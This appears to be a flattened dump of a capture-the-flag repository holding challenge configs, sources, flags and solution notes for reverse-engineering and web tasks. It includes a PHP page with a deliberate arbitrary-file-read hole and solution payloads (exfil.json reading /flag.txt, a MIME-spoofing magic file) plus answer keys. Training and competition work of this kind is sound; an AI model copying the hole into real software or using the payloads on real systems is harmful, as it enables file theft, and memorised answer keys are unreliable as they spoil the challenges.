https://raw.githubusercontent.com/x3ctf/challenges-2025/b58889e47d087c84a18cebfeff975cbf0f5e759c/pwn/secure-sandbox/challenge-src/chall -------------------------------------------------------------------------------- /pwn/secure-sandbox/challenge-src/flag: -------------------------------------------------------------------------------- 1 | █▀▀▀▀▀█ ▀█▀▀ ▀█▄▀█▄▄▀█  █ █▀▀▀▀▀█ 2 | █ ███ █ ▀▀█    ▄ ▄██▄██▄█ █ ███ █ 3 | █ ▀▀▀ █ ▀▄█▀▄██  ▄▀▀▀▄█▄▄ █ ▀▀▀ █ 4 | ▀▀▀▀▀▀▀ █ █▄▀▄▀ ▀▄█ ▀ ▀▄▀ ▀▀▀▀▀▀▀ 5 |   ▄▄▄█▀▄  ▄▀▀▄▀▄▄▄ █  ▀█▀▄▀▄█ █▄▀ 6 | ▀▀  ██▀▄█ ▄▄  ▄█▄█ ▄ ▀▄ ▀▀ ▄▄▀▄ ▄ 7 | █ ▀█▀▀▀▄▀█▄▀▄▀██▄▄▀█ ▀█▀ ▄█▀▀▄▄   8 | ▄█ ▀▀▀▀▄███ ▄▄▀▄▀ ▀▄ ▀▄▄  ▄▄ ▄██▄ 9 | ▄▀▀ ▄█▀██▀ █▀▄█ ▄▀▄  ▀██▀█ ▄▀█ ██ 10 | ▀ ▄ ▀ ▀▀██▀ █▀ ███▄▀  ██  ▄▄█▄███ 11 | █▀▄▀██▀▀█▄ █ ▀▄█ █▀▄ ▄█ ▄▀███▀█▀  12 | █   █ ▀█▄   ▄ ▀███▀  ▀▄ ▄▄█ ▀▀▄█▄ 13 | ▀▀▀   ▀▀█▄▀█ █ ▀█▀█▄█▄▄██▀▀▀█ ▄▀▀ 14 | █▀▀▀▀▀█ ▄▄█▄█ ██▀▀ ██▄█▀█ ▀ █▄██  15 | █ ███ █  ▄▄▄▄ █▀▄█▄█▀█▀▄▀█▀▀▀  █▀ 16 | █ ▀▀▀ █    ▄▀▀▄█▄ █  ▀ ▄▄ ▀ █▄█▀▀ 17 | ▀▀▀▀▀▀▀   ▀▀▀▀▀▀▀ ▀ ▀ ▀▀▀▀▀  ▀ ▀  18 | -------------------------------------------------------------------------------- /rev/keystore-rs/challenge-handout/keystore-rs: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/x3ctf/challenges-2025/b58889e47d087c84a18cebfeff975cbf0f5e759c/rev/keystore-rs/challenge-handout/keystore-rs -------------------------------------------------------------------------------- /rev/keystore-rs/challenge-solution/SOLUTION.md: -------------------------------------------------------------------------------- 1 | - figure out how the key is encrypted (see the source) 2 | - key is blahajs_for_the_win_c6e3a9b36269, gives u flag 3 | -------------------------------------------------------------------------------- /rev/keystore-rs/challenge-src/Cargo.toml: -------------------------------------------------------------------------------- 1 | [package] 2 | name = "keystore-rs" 3 | version = "0.1.0" 4 | edition = "2021" 5 | 6 | [dependencies] 7 | aes = "0.8.4" 8 | aes-gcm = "0.10.3" 9 | base64 = "0.22.1" 10 | block-modes = "0.9.1" 11 | block-padding = "0.3.3" 12 | debugoff = "0.2.2" 13 | fancy = "0.3.1" 14 | hex = "0.4.3" 15 | inquire = "0.7.5" 16 | termcolor = "1.4.1" 17 | 18 | [profile.release] 19 | strip = true # Automatically strip symbols from the binary. 20 | opt-level = "z" 21 | lto = true 22 | codegen-units = 1 23 | panic = "abort" 24 | -------------------------------------------------------------------------------- /rev/keystore-rs/challenge.yaml: -------------------------------------------------------------------------------- 1 | apiVersion: berg.norelect.ch/v1 2 | kind: Challenge 3 | metadata: 4 | name: keystore-rs 5 | namespace: berg 6 | spec: 7 | categories: 8 | - rev 9 | difficulty: hard # Must be one of baby/easy/medium/hard/leet 10 | author: Coderion 11 | # Change to true if your challenge requires a reverse shell or other form of data exfiltration 12 | allowOutboundTraffic: false 13 | flag: x3c{rust_r3v_paiiiin_:3} 14 | flagFormat: x3c{...} 15 | description: | 16 | you wanted more pwn - so i wrote a rust rev challenge. xoxo 17 | hideUntil: "2025-01-25T18:00:00+00:00" 18 | attachments: 19 | - fileName: keystore-rs.tar.gz 20 | downloadUrl: /handouts/keystore-rs.tar.gz 21 | -------------------------------------------------------------------------------- /rev/netmsg-1/challenge-handout/netmsg_darwin_amd64: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/x3ctf/challenges-2025/b58889e47d087c84a18cebfeff975cbf0f5e759c/rev/netmsg-1/challenge-handout/netmsg_darwin_amd64 -------------------------------------------------------------------------------- /rev/netmsg-1/challenge-handout/netmsg_darwin_arm64: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/x3ctf/challenges-2025/b58889e47d087c84a18cebfeff975cbf0f5e759c/rev/netmsg-1/challenge-handout/netmsg_darwin_arm64 -------------------------------------------------------------------------------- /rev/netmsg-1/challenge-handout/netmsg_linux_386: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/x3ctf/challenges-2025/b58889e47d087c84a18cebfeff975cbf0f5e759c/rev/netmsg-1/challenge-handout/netmsg_linux_386 -------------------------------------------------------------------------------- /rev/netmsg-1/challenge-handout/netmsg_linux_amd64: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/x3ctf/challenges-2025/b58889e47d087c84a18cebfeff975cbf0f5e759c/rev/netmsg-1/challenge-handout/netmsg_linux_amd64 -------------------------------------------------------------------------------- /rev/netmsg-1/challenge-handout/netmsg_linux_arm64: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/x3ctf/challenges-2025/b58889e47d087c84a18cebfeff975cbf0f5e759c/rev/netmsg-1/challenge-handout/netmsg_linux_arm64 -------------------------------------------------------------------------------- /rev/netmsg-1/challenge-handout/netmsg_windows_386: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/x3ctf/challenges-2025/b58889e47d087c84a18cebfeff975cbf0f5e759c/rev/netmsg-1/challenge-handout/netmsg_windows_386 -------------------------------------------------------------------------------- /rev/netmsg-1/challenge-handout/netmsg_windows_amd64: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/x3ctf/challenges-2025/b58889e47d087c84a18cebfeff975cbf0f5e759c/rev/netmsg-1/challenge-handout/netmsg_windows_amd64 -------------------------------------------------------------------------------- /rev/netmsg-1/challenge-handout/netmsg_windows_arm64: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/x3ctf/challenges-2025/b58889e47d087c84a18cebfeff975cbf0f5e759c/rev/netmsg-1/challenge-handout/netmsg_windows_arm64 -------------------------------------------------------------------------------- /rev/netmsg-1/challenge-solution/README.txt: -------------------------------------------------------------------------------- 1 | 1. rev the binary to figure out the binary protocol in use 2 | 2. notice that `x3c/common.Msg` uses all types from 1 to 14 besides 8 (note: client command output orders the removed "get flag" option between "view message box" (types 6 and 7) and "read message" (types 9 and 10)) 3 | 3a. mess around with a debugger to trigger the exchange 4 | 3b. implement your own client (provided as main.py here) 5 | -------------------------------------------------------------------------------- /rev/netmsg-1/challenge-solution/requirements.txt: -------------------------------------------------------------------------------- 1 | pycryptodome 2 | -------------------------------------------------------------------------------- /rev/netmsg-1/challenge-src/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM golang:1.23 AS builder 2 | 3 | WORKDIR / 4 | RUN mkdir /app/ 5 | ADD go.work /app/ 6 | ADD server /app/server/ 7 | ADD common /app/common/ 8 | ADD client /app/client/ 9 | 10 | RUN go build -C /app/server -tags netgo -o /server 11 | 12 | FROM scratch 13 | COPY --from=builder /server /server 14 | 15 | EXPOSE 5001 16 | USER 1000:1000 17 | 18 | ENTRYPOINT ["/server"] 19 | -------------------------------------------------------------------------------- /rev/netmsg-1/challenge-src/build.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | # use go1.22 for better rev-ability i guess lol 4 | 5 | for goos in linux windows darwin; do 6 | for goarch in amd64 arm64 386; do 7 | if [[ $goos == darwin ]] && [[ $goarch == 386 ]]; then 8 | # skip 9 | continue 10 | fi 11 | GOOS=$goos GOARCH=$goarch go build -C client -trimpath -o ../../challenge-handout/netmsg_${goos}_${goarch} 12 | done 13 | done 14 | -------------------------------------------------------------------------------- /rev/netmsg-1/challenge-src/client/go.mod: -------------------------------------------------------------------------------- 1 | module x3c/client 2 | 3 | go 1.22.6 4 | -------------------------------------------------------------------------------- /rev/netmsg-1/challenge-src/client/math.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | func gcdExtended(a, b int64) (int64, int64, int64) { 4 | var u, y, v, x int64 = 1, 1, 0, 0 5 | for a > 0 { 6 | q := b / a 7 | x, u = u, x-q*u 8 | y, v = v, y-q*v 9 | b, a = a, b-q*a 10 | } 11 | return b, x, y 12 | } 13 | 14 | func gcd(a, b int64) int64 { 15 | ret, _, _ := gcdExtended(a, b) 16 | return ret 17 | } 18 | 19 | func lcm(a, b int64) int64 { 20 | return a * b / gcd(a, b) 21 | } 22 | 23 | func modInv(a, m int64) int64 { 24 | _, x, _ := gcdExtended(a, m) 25 | 26 | return (m + (x % m)) % m 27 | } 28 | -------------------------------------------------------------------------------- /rev/netmsg-1/challenge-src/common/go.mod: -------------------------------------------------------------------------------- 1 | module x3c/common 2 | 3 | go 1.22.6 4 | 5 | require github.com/howeyc/crc16 v0.0.0-20171223171357-2b2a61e366a6 6 | -------------------------------------------------------------------------------- /rev/netmsg-1/challenge-src/common/go.sum: -------------------------------------------------------------------------------- 1 | github.com/howeyc/crc16 v0.0.0-20171223171357-2b2a61e366a6 h1:IIVxLyDUYErC950b8kecjoqDet8P5S4lcVRUOM6rdkU= 2 | github.com/howeyc/crc16 v0.0.0-20171223171357-2b2a61e366a6/go.mod h1:JslaLRrzGsOKJgFEPBP65Whn+rdwDQSk0I0MCRFe2Zw= 3 | -------------------------------------------------------------------------------- /rev/netmsg-1/challenge-src/go.work: -------------------------------------------------------------------------------- 1 | go 1.22.6 2 | 3 | use ( 4 | ./client 5 | ./common 6 | ./server 7 | ) 8 | -------------------------------------------------------------------------------- /rev/netmsg-1/challenge-src/server/go.mod: -------------------------------------------------------------------------------- 1 | module x3c/server 2 | 3 | go 1.22.6 4 | -------------------------------------------------------------------------------- /rev/netmsg-1/challenge-src/server/secrets.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | // should probably not be distributed 4 | 5 | const ( 6 | USER1 = "delta_star" 7 | PASS1 = "whiskey_demon" 8 | 9 | USER2 = "goober_supreme" 10 | PASS2 = "1jWXdR0uk62f" 11 | 12 | FLAG1 = "x3c{h1dd3n_funct1on4lity_w00t_w00t}" 13 | FLAG2 = "x3c{3l1t3_crypt0_0nly_cough_cough_clickplc}" 14 | ) 15 | -------------------------------------------------------------------------------- /rev/netmsg-2/challenge-handout/netmsg-2.pcap: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/x3ctf/challenges-2025/b58889e47d087c84a18cebfeff975cbf0f5e759c/rev/netmsg-2/challenge-handout/netmsg-2.pcap -------------------------------------------------------------------------------- /rev/netmsg-2/challenge-solution/README.txt: -------------------------------------------------------------------------------- 1 | 1. rev the binary to figure out the super-secure 32-bit RSA encryption used to secure the session key and extract the static AES key 2 | 2. decrypt the traffic to get the username and password 3 | 3. connect to the service yourself with them and get the message with the ident "flag" for the flag 4 | 5 | the regular client can be used, but the solve script from netmsg-1 is reused here as a quickly runnable proof of concept 6 | -------------------------------------------------------------------------------- /rev/netmsg-2/challenge-solution/flag1.py: -------------------------------------------------------------------------------- 1 | ../../netmsg-1/challenge-solution/flag1.py -------------------------------------------------------------------------------- /rev/netmsg-2/challenge-solution/requirements.txt: -------------------------------------------------------------------------------- 1 | ../../netmsg-1/challenge-solution/requirements.txt -------------------------------------------------------------------------------- /rev/netmsg-2/challenge-src/build.sh: -------------------------------------------------------------------------------- 1 | ../../netmsg-1/challenge-src/build.sh -------------------------------------------------------------------------------- /rev/netmsg-2/challenge-src/client: -------------------------------------------------------------------------------- 1 | ../../netmsg-1/challenge-src/client -------------------------------------------------------------------------------- /rev/netmsg-2/challenge-src/common: -------------------------------------------------------------------------------- 1 | ../../netmsg-1/challenge-src/common -------------------------------------------------------------------------------- /rev/netmsg-2/challenge-src/go.work: -------------------------------------------------------------------------------- 1 | ../../netmsg-1/challenge-src/go.work -------------------------------------------------------------------------------- /rev/netmsg-2/challenge-src/server: -------------------------------------------------------------------------------- 1 | ../../netmsg-1/challenge-src/server -------------------------------------------------------------------------------- /rev/notcrypto/challenge-handout/spn: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/x3ctf/challenges-2025/b58889e47d087c84a18cebfeff975cbf0f5e759c/rev/notcrypto/challenge-handout/spn -------------------------------------------------------------------------------- /rev/notcrypto/challenge-solution/todo.py: -------------------------------------------------------------------------------- 1 | # TODO: implement the pwntools pwndbg soln 2 | -------------------------------------------------------------------------------- /rev/notcrypto/challenge-src/Makefile: -------------------------------------------------------------------------------- 1 | all: 2 | clang++ spn.cpp -o spn -O3 -march=native -D_FORTIFY_SOURCE=2 -Wl,--strip-all 3 | dbg: 4 | clang++ spn.cpp -o dbg -O2 -g -march=native -D_FORTIFY_SOURCE=2 5 | -------------------------------------------------------------------------------- /rev/notcrypto/challenge-src/flag.txt: -------------------------------------------------------------------------------- 1 | x3c{pwndbg_and_pwntools_my_belowed_573498532832} 2 | -------------------------------------------------------------------------------- /rev/notcrypto/challenge-src/spn: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/x3ctf/challenges-2025/b58889e47d087c84a18cebfeff975cbf0f5e759c/rev/notcrypto/challenge-src/spn -------------------------------------------------------------------------------- /rev/notcrypto/challenge.yaml: -------------------------------------------------------------------------------- 1 | apiVersion: berg.norelect.ch/v1 2 | kind: Challenge 3 | metadata: 4 | name: notcrypto 5 | namespace: berg 6 | spec: 7 | categories: 8 | - rev 9 | difficulty: easy # Must be one of baby/easy/medium/hard/leet 10 | author: dagurb 11 | flag: x3c{pwndbg_and_pwntools_my_belowed_573498532832} 12 | flagFormat: x3c{...} 13 | description: | 14 | You shouldn't need to call your crypto teammate for this challenge lol. 15 | attachments: 16 | - fileName: notcrypto.tar.gz 17 | downloadUrl: /handouts/notcrypto.tar.gz 18 | -------------------------------------------------------------------------------- /rev/oh_my_gadt/challenge-handout/.stack-work/install/x86_64-linux/359f636bad276f3ca7e20838b8576d4ccc48aae2d117a0bffb731f9814dbfc7c/9.8.4/pkgdb/package.cache: -------------------------------------------------------------------------------- 1 | ghcpkg -------------------------------------------------------------------------------- /rev/oh_my_gadt/challenge-handout/.stack-work/install/x86_64-linux/359f636bad276f3ca7e20838b8576d4ccc48aae2d117a0bffb731f9814dbfc7c/9.8.4/pkgdb/package.cache.lock: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/x3ctf/challenges-2025/b58889e47d087c84a18cebfeff975cbf0f5e759c/rev/oh_my_gadt/challenge-handout/.stack-work/install/x86_64-linux/359f636bad276f3ca7e20838b8576d4ccc48aae2d117a0bffb731f9814dbfc7c/9.8.4/pkgdb/package.cache.lock -------------------------------------------------------------------------------- /rev/oh_my_gadt/challenge-handout/.stack-work/stack.sqlite3: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/x3ctf/challenges-2025/b58889e47d087c84a18cebfeff975cbf0f5e759c/rev/oh_my_gadt/challenge-handout/.stack-work/stack.sqlite3 -------------------------------------------------------------------------------- /rev/oh_my_gadt/challenge-handout/.stack-work/stack.sqlite3.pantry-write-lock: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/x3ctf/challenges-2025/b58889e47d087c84a18cebfeff975cbf0f5e759c/rev/oh_my_gadt/challenge-handout/.stack-work/stack.sqlite3.pantry-write-lock -------------------------------------------------------------------------------- /rev/oh_my_gadt/challenge-handout/Dockerfile: -------------------------------------------------------------------------------- 1 | # Use the official Haskell image based on Ubuntu 2 | FROM haskell:9.8.4 3 | # Set the working directory 4 | WORKDIR /app 5 | 6 | ENV DEBIAN_FRONTEND=noninteractive 7 | 8 | RUN apt-get update && apt-get install socat -y 9 | 10 | # Copy the rest of your application code 11 | COPY hs_src/. . 12 | 13 | # Build the application 14 | RUN stack build 15 | 16 | # Specify the command to run your application 17 | CMD ["/usr/bin/socat", "tcp-listen:4000,reuseaddr,fork", "exec:'stack exec ohmygadt'"] 18 | -------------------------------------------------------------------------------- /rev/oh_my_gadt/challenge-handout/docker-compose.yml: -------------------------------------------------------------------------------- 1 | services: 2 | ohmygadt: 3 | build: . 4 | ports: 5 | - "4000:4000" 6 | 7 | -------------------------------------------------------------------------------- /rev/oh_my_gadt/challenge-handout/hs_src/.stack-work/install/x86_64-linux/359f636bad276f3ca7e20838b8576d4ccc48aae2d117a0bffb731f9814dbfc7c/9.8.4/pkgdb/package.cache: -------------------------------------------------------------------------------- 1 | ghcpkg -------------------------------------------------------------------------------- /rev/oh_my_gadt/challenge-handout/hs_src/.stack-work/install/x86_64-linux/359f636bad276f3ca7e20838b8576d4ccc48aae2d117a0bffb731f9814dbfc7c/9.8.4/pkgdb/package.cache.lock: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/x3ctf/challenges-2025/b58889e47d087c84a18cebfeff975cbf0f5e759c/rev/oh_my_gadt/challenge-handout/hs_src/.stack-work/install/x86_64-linux/359f636bad276f3ca7e20838b8576d4ccc48aae2d117a0bffb731f9814dbfc7c/9.8.4/pkgdb/package.cache.lock -------------------------------------------------------------------------------- /rev/oh_my_gadt/challenge-handout/hs_src/.stack-work/stack.sqlite3: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/x3ctf/challenges-2025/b58889e47d087c84a18cebfeff975cbf0f5e759c/rev/oh_my_gadt/challenge-handout/hs_src/.stack-work/stack.sqlite3 -------------------------------------------------------------------------------- /rev/oh_my_gadt/challenge-handout/hs_src/.stack-work/stack.sqlite3.pantry-write-lock: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/x3ctf/challenges-2025/b58889e47d087c84a18cebfeff975cbf0f5e759c/rev/oh_my_gadt/challenge-handout/hs_src/.stack-work/stack.sqlite3.pantry-write-lock -------------------------------------------------------------------------------- /rev/oh_my_gadt/challenge-handout/hs_src/Setup.hs: -------------------------------------------------------------------------------- 1 | import Distribution.Simple 2 | main = defaultMain 3 | -------------------------------------------------------------------------------- /rev/oh_my_gadt/challenge-handout/hs_src/ohmygadt.cabal: -------------------------------------------------------------------------------- 1 | cabal-version: 2.2 2 | 3 | name: ohmygadt 4 | version: 0.1.0.0 5 | -- synopsis: 6 | -- description: 7 | license: BSD-3-Clause 8 | author: natan.p 9 | maintainer: natan.p@localhost 10 | copyright: 2025 natan.p 11 | category: Web 12 | build-type: Simple 13 | 14 | executable ohmygadt 15 | hs-source-dirs: src 16 | main-is: Main.hs 17 | default-language: Haskell2010 18 | build-depends: base >= 4.7 && < 5 19 | ghc-options: -Wall 20 | -Wcompat 21 | -Widentities 22 | -Wincomplete-record-updates 23 | -Wincomplete-uni-patterns 24 | -Wmissing-export-lists 25 | -Wmissing-home-modules 26 | -Wpartial-fields 27 | -Wredundant-constraints 28 | -------------------------------------------------------------------------------- /rev/oh_my_gadt/challenge-handout/hs_src/stack.yaml.lock: -------------------------------------------------------------------------------- 1 | # This file was autogenerated by Stack. 2 | # You should not edit this file by hand. 3 | # For more information, please see the documentation at: 4 | # https://docs.haskellstack.org/en/stable/lock_files 5 | 6 | packages: [] 7 | snapshots: 8 | - completed: 9 | sha256: dd89d2322cb5af74c6ab9d96c0c5f6c8e6653e0c991d619b4bb141a49cb98668 10 | size: 679282 11 | url: https://raw.githubusercontent.com/commercialhaskell/stackage-snapshots/master/lts/23/3.yaml 12 | original: 13 | url: https://raw.githubusercontent.com/commercialhaskell/stackage-snapshots/master/lts/23/3.yaml 14 | -------------------------------------------------------------------------------- /rev/oh_my_gadt/challenge-src: -------------------------------------------------------------------------------- 1 | challenge-handout -------------------------------------------------------------------------------- /rev/oh_my_gadt/challenge.yaml: -------------------------------------------------------------------------------- 1 | apiVersion: berg.norelect.ch/v1 2 | kind: Challenge 3 | metadata: 4 | name: oh-my-gadt 5 | namespace: berg 6 | spec: 7 | categories: 8 | - mvm 9 | - rev 10 | difficulty: medium # Must be one of baby/easy/medium/hard/leet 11 | author: natan.p 12 | flag: MVM{::333:3:/::33::33/w0w_g4d75_n_ph4n70m5_y1pp33} 13 | flagFormat: MVM{...} 14 | description: | 15 | We had our unpaid intern make an uncrackable key checker. 16 | They quit because of "inadequate pay", but they took the source code and the keys with them. 17 | We really need these keys! 18 | attachments: 19 | - fileName: oh_my_gadt.tar.gz 20 | downloadUrl: /handouts/oh_my_gadt.tar.gz 21 | -------------------------------------------------------------------------------- /rev/pickle-season/challenge-handout: -------------------------------------------------------------------------------- 1 | challenge-src -------------------------------------------------------------------------------- /rev/pickle-season/challenge.yaml: -------------------------------------------------------------------------------- 1 | apiVersion: berg.norelect.ch/v1 2 | kind: Challenge 3 | metadata: 4 | name: pickle-season 5 | namespace: berg 6 | spec: 7 | categories: 8 | - mvm 9 | - rev 10 | difficulty: medium 11 | author: hackrrr 12 | flag: MVM{B0r3d0m_1n_P1ckl3_s34s0n} 13 | flagFormat: MVM{...} 14 | description: | 15 | It is that ~~silly~~ pickle season again... Nothing happens, no CTF challenges, just boredom. And so I created this challenge to fight that and help you to get through this season.
16 | I just hope you are not afraid of pickles. 17 | 18 | attachments: 19 | - fileName: pickle-season.tar.gz 20 | downloadUrl: /handouts/pickle-season.tar.gz 21 | -------------------------------------------------------------------------------- /web/MVMCheckers-Inc/challenge-handout/.idea/.gitignore: -------------------------------------------------------------------------------- 1 | # Default ignored files 2 | /shelf/ 3 | /workspace.xml 4 | # Editor-based HTTP Client requests 5 | /httpRequests/ 6 | # Datasource local storage ignored files 7 | /dataSources/ 8 | /dataSources.local.xml 9 | -------------------------------------------------------------------------------- /web/MVMCheckers-Inc/challenge-handout/.idea/inspectionProfiles/Project_Default.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 6 | -------------------------------------------------------------------------------- /web/MVMCheckers-Inc/challenge-handout/.idea/mimes-inc.iml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | -------------------------------------------------------------------------------- /web/MVMCheckers-Inc/challenge-handout/.idea/misc.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 6 | 7 | 8 | 9 | -------------------------------------------------------------------------------- /web/MVMCheckers-Inc/challenge-handout/.idea/modules.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | -------------------------------------------------------------------------------- /web/MVMCheckers-Inc/challenge-handout/.idea/php.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | -------------------------------------------------------------------------------- /web/MVMCheckers-Inc/challenge-handout/.idea/vcs.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | -------------------------------------------------------------------------------- /web/MVMCheckers-Inc/challenge-handout/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM php:8.3-apache-bookworm 2 | 3 | WORKDIR /var/www/html 4 | 5 | COPY flag.txt /flag.txt 6 | 7 | COPY src/ . 8 | 9 | RUN useradd --user-group --system --create-home --no-log-init app 10 | 11 | RUN chown app magicians 12 | 13 | USER app 14 | -------------------------------------------------------------------------------- /web/MVMCheckers-Inc/challenge-handout/docker-compose.yml: -------------------------------------------------------------------------------- 1 | version: "3.4" 2 | 3 | services: 4 | magicians: 5 | build: "." 6 | ports: 7 | - "80:80" -------------------------------------------------------------------------------- /web/MVMCheckers-Inc/challenge-handout/flag.txt: -------------------------------------------------------------------------------- 1 | MVM{...} 2 | -------------------------------------------------------------------------------- /web/MVMCheckers-Inc/challenge-handout/magicians-agency.iml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | -------------------------------------------------------------------------------- /web/MVMCheckers-Inc/challenge-handout/src/booking.php: -------------------------------------------------------------------------------- 1 | 4 | 5 |

Booking

6 | -------------------------------------------------------------------------------- /web/MVMCheckers-Inc/challenge-handout/src/index.php: -------------------------------------------------------------------------------- 1 | 4 | 5 |

Bringing magic to you since 1970

6 | 7 |

Refer to the various sub-pages for information and configuration.

8 | -------------------------------------------------------------------------------- /web/MVMCheckers-Inc/challenge-handout/src/magicians.php: -------------------------------------------------------------------------------- 1 | 4 | 5 | 6 |

Choose from our superb variety of magicians

7 | 8 |
9 | 19 |

$name

20 | 21 |
"; 22 | } 23 | ?> 24 | 25 | -------------------------------------------------------------------------------- /web/MVMCheckers-Inc/challenge-handout/src/magicians/Die kleine Hexe.magic: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/x3ctf/challenges-2025/b58889e47d087c84a18cebfeff975cbf0f5e759c/web/MVMCheckers-Inc/challenge-handout/src/magicians/Die kleine Hexe.magic -------------------------------------------------------------------------------- /web/MVMCheckers-Inc/challenge-handout/src/magicians/Gandalf.magic: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/x3ctf/challenges-2025/b58889e47d087c84a18cebfeff975cbf0f5e759c/web/MVMCheckers-Inc/challenge-handout/src/magicians/Gandalf.magic -------------------------------------------------------------------------------- /web/MVMCheckers-Inc/challenge-handout/src/magicians/Houdini.magic: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/x3ctf/challenges-2025/b58889e47d087c84a18cebfeff975cbf0f5e759c/web/MVMCheckers-Inc/challenge-handout/src/magicians/Houdini.magic -------------------------------------------------------------------------------- /web/MVMCheckers-Inc/challenge-handout/src/magicians/Kiki.magic: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/x3ctf/challenges-2025/b58889e47d087c84a18cebfeff975cbf0f5e759c/web/MVMCheckers-Inc/challenge-handout/src/magicians/Kiki.magic -------------------------------------------------------------------------------- /web/MVMCheckers-Inc/challenge-handout/src/magicians/Siegfried and Roy.magic: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/x3ctf/challenges-2025/b58889e47d087c84a18cebfeff975cbf0f5e759c/web/MVMCheckers-Inc/challenge-handout/src/magicians/Siegfried and Roy.magic -------------------------------------------------------------------------------- /web/MVMCheckers-Inc/challenge-handout/src/rebuild/about.json: -------------------------------------------------------------------------------- 1 | { 2 | "sections": [ 3 | {"type": "text", "tag": "h1", "value": "The leading experts in spell-full entertainment"}, 4 | {"type": "text", "tag": "p", "value": "We at SpellCheckers Inc. are the foremost experts at creating magical days for our clients."}, 5 | {"type": "link", "tag": "i", "value": "./footnote.txt"} 6 | ] 7 | } 8 | -------------------------------------------------------------------------------- /web/MVMCheckers-Inc/challenge-handout/src/rebuild/booking.json: -------------------------------------------------------------------------------- 1 | { 2 | "sections": [ 3 | {"type": "text", "tag": "h1", "value": "Book your favorite magicians here"}, 4 | {"type": "text", "tag": "p", "value": "This part of our system is currently under maintenance and not functional. We hope to bring you a improved experience as soon as possible. New Features will include the ability to easily create new web pages without programming knowledgNew Features will include the ability to easily create new web pages without programming knowledge."}, 5 | {"type": "link", "tag": "i", "value": "./footnote.txt"} 6 | ] 7 | } -------------------------------------------------------------------------------- /web/MVMCheckers-Inc/challenge-handout/src/rebuild/footnote.txt: -------------------------------------------------------------------------------- 1 | We do not take any responsibility for damaged property, unless it's magically fixed with a Ctrl+Z. -------------------------------------------------------------------------------- /web/MVMCheckers-Inc/challenge-handout/src/rebuild/index.php: -------------------------------------------------------------------------------- 1 | Invalid page name ):

"; 8 | exit(); 9 | } 10 | 11 | $pageString = file_get_contents("./$pageName"); 12 | $sanitized = str_replace("\\", "", $pageString); 13 | $pageObject = json_decode($sanitized, flags: JSON_INVALID_UTF8_IGNORE); 14 | 15 | if ($pageObject == null) { 16 | echo "

This page does not exist ):

"; 17 | exit(); 18 | } 19 | 20 | function interpret($section) { 21 | $content = null; 22 | 23 | switch ($section->type) { 24 | case "text": 25 | $content = $section->value; 26 | break; 27 | case "link": 28 | $content = file_get_contents($section->value); 29 | break; 30 | } 31 | 32 | return "<$section->tag>$contenttag>"; 33 | } 34 | 35 | echo "
"; 36 | 37 | foreach ($pageObject->sections as $section) { 38 | echo interpret($section); 39 | } 40 | 41 | echo "
"; 42 | -------------------------------------------------------------------------------- /web/MVMCheckers-Inc/challenge-handout/src/style.css: -------------------------------------------------------------------------------- 1 | .magician-image { 2 | width: 500px; 3 | height: 500px; 4 | object-fit: cover; 5 | } -------------------------------------------------------------------------------- /web/MVMCheckers-Inc/challenge-solution/exfil.json: -------------------------------------------------------------------------------- 1 | {"num": "\x56","sections":[{"type":"link","tag":"h1","value":"/flag.txt"}]} 2 | -------------------------------------------------------------------------------- /web/MVMCheckers-Inc/challenge-solution/magic.txt: -------------------------------------------------------------------------------- 1 | 0 string { foo image bar 2 | !:mime image/jpeg 3 | -------------------------------------------------------------------------------- /web/MVMCheckers-Inc/challenge-solution/magic.xbm: -------------------------------------------------------------------------------- 1 | 0 string { foo image bar 2 | !:mime image/jpeg 3 | 4 | 5 | #define test_width 16 6 | #define test_height 7 7 | #static unsigned char test_bits[] = {0x13, 0x00, 0x15, 0x00, 0x93, 0xcd, 0x55, 0xa5, 0x93, 0xc5, 0x00, 0x80, 0x00, 0x60}; 8 | -------------------------------------------------------------------------------- /web/MVMCheckers-Inc/challenge-src/.idea/.gitignore: -------------------------------------------------------------------------------- 1 | # Default ignored files 2 | /shelf/ 3 | /workspace.xml 4 | # Editor-based HTTP Client requests 5 | /httpRequests/ 6 | # Datasource local storage ignored files 7 | /dataSources/ 8 | /dataSources.local.xml 9 | -------------------------------------------------------------------------------- /web/MVMCheckers-Inc/challenge-src/.idea/inspectionProfiles/Project_Default.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 6 | -------------------------------------------------------------------------------- /web/MVMCheckers-Inc/challenge-src/.idea/mimes-inc.iml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | -------------------------------------------------------------------------------- /web/MVMCheckers-Inc/challenge-src/.idea/misc.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 